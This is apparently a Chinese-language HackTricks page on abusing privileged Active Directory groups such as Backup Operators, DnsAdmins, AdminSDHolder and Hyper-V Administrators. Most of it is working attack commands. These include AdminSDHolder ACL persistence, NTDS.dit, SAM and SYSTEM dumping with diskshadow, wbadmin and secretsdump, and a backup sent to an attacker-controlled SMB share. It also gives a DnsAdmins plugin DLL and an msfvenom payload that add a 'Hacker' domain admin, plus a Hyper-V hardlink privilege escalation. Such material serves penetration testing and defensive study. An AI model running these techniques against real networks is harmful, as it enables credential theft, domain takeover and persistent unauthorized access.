24 KiB
特权组
从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS 红队专家)!
支持HackTricks的其他方式:
- 如果您想在 HackTricks中看到您的公司广告 或 下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
已知具有管理权限的组
- 管理员
- 域管理员
- 企业管理员
在进行安全评估时,如果链式使用多个攻击向量,其他账户成员资格和访问令牌权限也可能有用。
账户操作员
- 允许在域上创建非管理员账户和组
- 允许本地登录到DC
获取该组的成员:
Get-NetGroupMember -Identity "Account Operators" -Recurse
注意spotless用户的成员资格:
然而,我们仍然可以添加新用户:
以及本地登录到DC01:
AdminSDHolder组
AdminSDHolder 对象的访问控制列表(ACL)被用作模板,以复制 权限 到 Active Directory 中的所有“受保护组”及其成员。受保护的组包括具有特权的组,如域管理员、管理员、企业管理员和架构管理员。
默认情况下,该组的ACL被复制到所有的"受保护组"内。这样做是为了避免对这些关键组的故意或意外更改。然而,如果攻击者修改了组AdminSDHolder的ACL,例如给予一个普通用户全部权限,这个用户将在一个小时内拥有受保护组内所有组的全部权限。
如果有人试图从域管理员组(例如)中删除这个用户,在一小时或更短时间内,该用户将重新回到该组。
获取组的成员:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
将用户添加到 AdminSDHolder 组:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
检查用户是否属于 Domain Admins 组:
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
如果您不想等待一个小时,您可以使用PS脚本立即执行还原操作:https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1
AD 回收站
该组允许您读取已删除的AD对象。在那里可以找到一些有价值的信息:
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
域控制器访问
注意我们当前的成员身份无法访问DC上的文件:
然而,如果用户属于Server Operators
:
情况就变了:
权限提升
使用PsService
或Sysinternals的sc
来检查服务的权限。
C:\> .\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
[...]
[ALLOW] BUILTIN\Server Operators
All
这证实了Server Operators组具有[SERVICE_ALL_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights)访问权限,这给了我们对此服务的完全控制。
您可以滥用此服务来[**使服务执行任意命令**](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#modify-service-binary-path)并提升权限。
## 备份操作员 <a href="#backup-operators" id="backup-operators"></a>
与`Server Operators`成员资格一样,如果我们属于`Backup Operators`,我们可以**访问`DC01`文件系统**。
这是因为该组授予其**成员**[**`SeBackup`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4)和[**`SeRestore`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)权限。**SeBackupPrivilege**允许我们**遍历任何文件夹并列出**文件夹内容。这将让我们**从文件夹中复制文件**,即使没有其他权限也可以。然而,要滥用这些权限复制文件,必须使用标志[**FILE_FLAG_BACKUP_SEMANTICS**](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)。因此,需要特殊工具。
为此,您可以使用[**这些脚本**](https://github.com/giuliano108/SeBackupPrivilege)**。**
获取组的**成员**:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
本地攻击
# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled
# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege
# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite
AD 攻击
例如,您可以直接访问域控制器文件系统:
您可以滥用此访问权限来窃取活动目录数据库**NTDS.dit
,以获取域中所有用户和计算机对象的所有NTLM 哈希值**。
使用 diskshadow.exe 导出 NTDS.dit
使用 diskshadow,您可以创建 C
驱动器的影子副本,并且例如在 F
驱动器中。然后,您可以从这个影子副本中窃取 NTDS.dit
文件,因为它不会被系统使用:
diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 10:34:16 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit
在本地攻击中,您现在可以复制具有特权的文件 NTDS.dit
:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
复制文件的另一种方式是使用 robocopy:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
然后,你可以轻松地窃取 SYSTEM 和 SAM:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
最后你可以获取所有哈希来自于**NTDS.dit
**:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
使用 wbadmin.exe 导出 NTDS.dit
使用 wbadmin.exe 与使用 diskshadow.exe 非常相似,wbadmin.exe 是内置于 Windows 中的命令行工具,自 Windows Vista/Server 2008 起就有了。
在使用之前,你需要在攻击者机器上设置 ntfs 文件系统以用于 smb 服务器。
当你完成 smb 服务器的设置后,你需要在目标机器上缓存 smb 凭据:
# cache the smb credential.
net use X: \\<AttackIP>\sharename /user:smbuser password
# check if working.
dir X:\
如果没有错误,使用 wbadmin.exe 来利用它:
# Start backup the system.
# In here, no need to use `X:\`, just using `\\<AttackIP>\sharename` should be ok.
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
# Look at the backup version to get time.
wbadmin get versions
# Restore the version to dump ntds.dit.
echo "Y" | wbadmin start recovery -version:10/09/2023-23:48 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
如果成功,它将转储到 C:\ntds.dit
。
DnsAdmins
一个是 DNSAdmins 组成员或对 DNS 服务器对象有 写权限 的用户可以在 DNS 服务器 上以 SYSTEM 权限加载 任意 DLL。
这非常有趣,因为 域控制器 经常被用作 DNS 服务器。
如这篇 文章 所示,当 DNS 在域控制器上运行时(这是非常常见的),可以执行以下攻击:
- DNS 管理通过 RPC 进行
- ServerLevelPluginDll 允许我们 加载 自定义 DLL,而不验证 DLL 的路径。这可以通过命令行中的
dnscmd
工具完成 - 当
DnsAdmins
组的成员运行下面的dnscmd
命令时,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
注册表键将被填充 - 当 DNS 服务重新启动 时,此路径中的 DLL 将被 加载(即域控制器的机器账户可以访问的网络共享)
- 攻击者可以加载 自定义 DLL 以获得反向 shell,甚至可以加载 Mimikatz 之类的工具作为 DLL 来转储凭据。
获取组的 成员:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
执行任意 DLL
如果您有一个用户在 DNSAdmins 组 内,您可以让 DNS 服务器以 SYSTEM 权限加载任意 DLL(DNS 服务以 NT AUTHORITY\SYSTEM
运行)。您可以执行以下操作,使 DNS 服务器加载 本地或远程(通过 SMB 共享)的 DLL 文件:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
可以在 [https://github.com/kazkansouh/DNSAdmin-DLL](https://github.com/kazkansouh/DNSAdmin-DLL) 找到一个有效的 DLL 示例。我会将函数 `DnsPluginInitialize` 的代码更改为类似以下内容:
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
或者您可以使用msfvenom生成一个dll:
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
因此,当DNSservice启动或重启时,将创建一个新用户。
即使将用户添加到DNSAdmin组,您默认情况下无法停止和重启DNS服务。 但您总是可以尝试执行:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Mimilib.dll
如这篇文章中详细介绍的,也可以使用 Mimikatz
工具的创建者提供的 mimilib.dll 通过修改 kdns.c 文件来执行反向 shell 单行命令或我们选择的其他命令来获得命令执行。
WPAD 记录用于 MitM
另一种滥用 DnsAdmins 组权限的方法是创建一个 WPAD 记录。该组的成员有权禁用全局查询阻止安全性,默认情况下会阻止这种攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的能力。默认情况下,Web 代理自动发现协议(WPAD)和站点间自动隧道寻址协议(ISATAP)位于全局查询阻止列表上。这些协议非常容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。
在禁用全局查询阻止列表并创建一个 WPAD 记录后,运行默认设置的 WPAD 的每台机器都会通过我们的攻击机器代理其流量。我们可以使用如 Responder 或 Inveigh 这样的工具执行流量欺骗,并尝试捕获密码哈希并离线破解,或执行 SMBRelay 攻击。
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}
事件日志读取器
事件日志读取器 组的成员有权访问生成的事件日志(例如新进程创建日志)。在日志中可能会发现敏感信息。让我们看看如何查看日志:
#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"
# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"
# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
Exchange Windows 权限
成员被授予写入域对象的 DACL 的能力。攻击者可以滥用此权限,给用户 DCSync 权限。
如果在 AD 环境中安装了 Microsoft Exchange,通常会发现用户账户甚至计算机作为此组的成员。
这个 GitHub 仓库 解释了一些技术,通过滥用该组权限来提升权限。
#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V 管理员
Hyper-V 管理员 组对所有 Hyper-V 功能 拥有完全访问权限。如果 域控制器 已被 虚拟化,那么 虚拟化管理员 应被视为 域管理员。他们可以轻松地 创建活动域控制器的克隆 并 挂载 虚拟 磁盘 离线以获取 NTDS.dit
文件,并提取域中所有用户的 NTLM 密码哈希。
在这篇博客中也有详细记录,当 删除 虚拟机时,vmms.exe
会尝试 恢复对应的 .vhdx
文件的原始文件权限,并以 NT AUTHORITY\SYSTEM
身份这样做,而不是模拟用户。我们可以 删除 .vhdx
文件并 创建 一个指向 受保护的 SYSTEM 文件的本地硬链接,你将被授予完全权限。
如果操作系统易受 CVE-2018-0952 或 CVE-2019-0841 的影响,我们可以利用这一点获得 SYSTEM 权限。否则,我们可以尝试 利用服务器上安装了以 SYSTEM 上下文运行的服务的应用程序,该服务可由非特权用户启动。
利用示例
一个例子是 Firefox,它安装了 Mozilla 维护服务
。我们可以更新 这个利用(一个针对 NT 硬链接的概念验证),以授予我们当前用户对以下文件的完全权限:
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
获取文件的所有权
运行PowerShell脚本后,我们应该完全控制这个文件并且可以取得其所有权。
C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
启动 Mozilla 维护服务
接下来,我们可以用一个恶意的 maintenanceservice.exe
替换这个文件,启动维护服务,并以 SYSTEM 身份执行命令。
C:\htb> sc.exe start MozillaMaintenance
{% hint style="info" %} 此攻击向量已通过 2020 年 3 月的 Windows 安全更新得到缓解,该更新改变了与硬链接相关的行为。 {% endhint %}
组织管理
此组也存在于安装了 Microsoft Exchange 的环境中。
该组成员可以访问 所有 域用户的邮箱。
该组还对名为 Microsoft Exchange Security Groups
的 OU 拥有完全控制权限,该 OU 包含 Exchange Windows Permissions
组****(点击链接查看如何滥用此组进行权限提升)。
打印操作员
该组成员被授予:
SeLoadDriverPrivilege
- 在域控制器上本地登录 并将其关闭
- 权限去管理、创建、共享和删除连接到域控制器的打印机
{% hint style="warning" %}
如果命令 whoami /priv
在非提升的上下文中没有显示 SeLoadDriverPrivilege
,你需要绕过 UAC。
{% endhint %}
获取该组的成员:
Get-NetGroupMember -Identity "Print Operators" -Recurse
查看此页面了解如何滥用SeLoadDriverPrivilege进行权限提升:
{% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %} abuse-seloaddriverprivilege.md {% endcontent-ref %}
远程桌面用户
该组成员可以通过RDP访问PC。
获取该组的成员:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
更多关于 RDP 的信息:
{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} pentesting-rdp.md {% endcontent-ref %}
远程管理用户
该组的成员可以通过 WinRM 访问PC。
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
关于 WinRM 的更多信息:
{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} 5985-5986-pentesting-winrm.md {% endcontent-ref %}
服务器操作员
该成员资格允许用户配置域控制器,并拥有以下权限:
- 允许在本地登录
- 备份文件和目录
- ``
SeBackupPrivilege
和SeRestorePrivilege
- 更改系统时间
- 更改时区
- 从远程系统强制关机
- 恢复文件和目录
- 关闭系统
- 控制本地服务
获取该组的成员:
Get-NetGroupMember -Identity "Server Operators" -Recurse
参考资料
{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}
{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}
{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}
{% embed url="https://adsecurity.org/?p=3658" %}
{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}
{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}
{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}
{% embed url="https://github.com/tandasat/ExploitCapcom" %}
{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}
{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}
{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}
{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。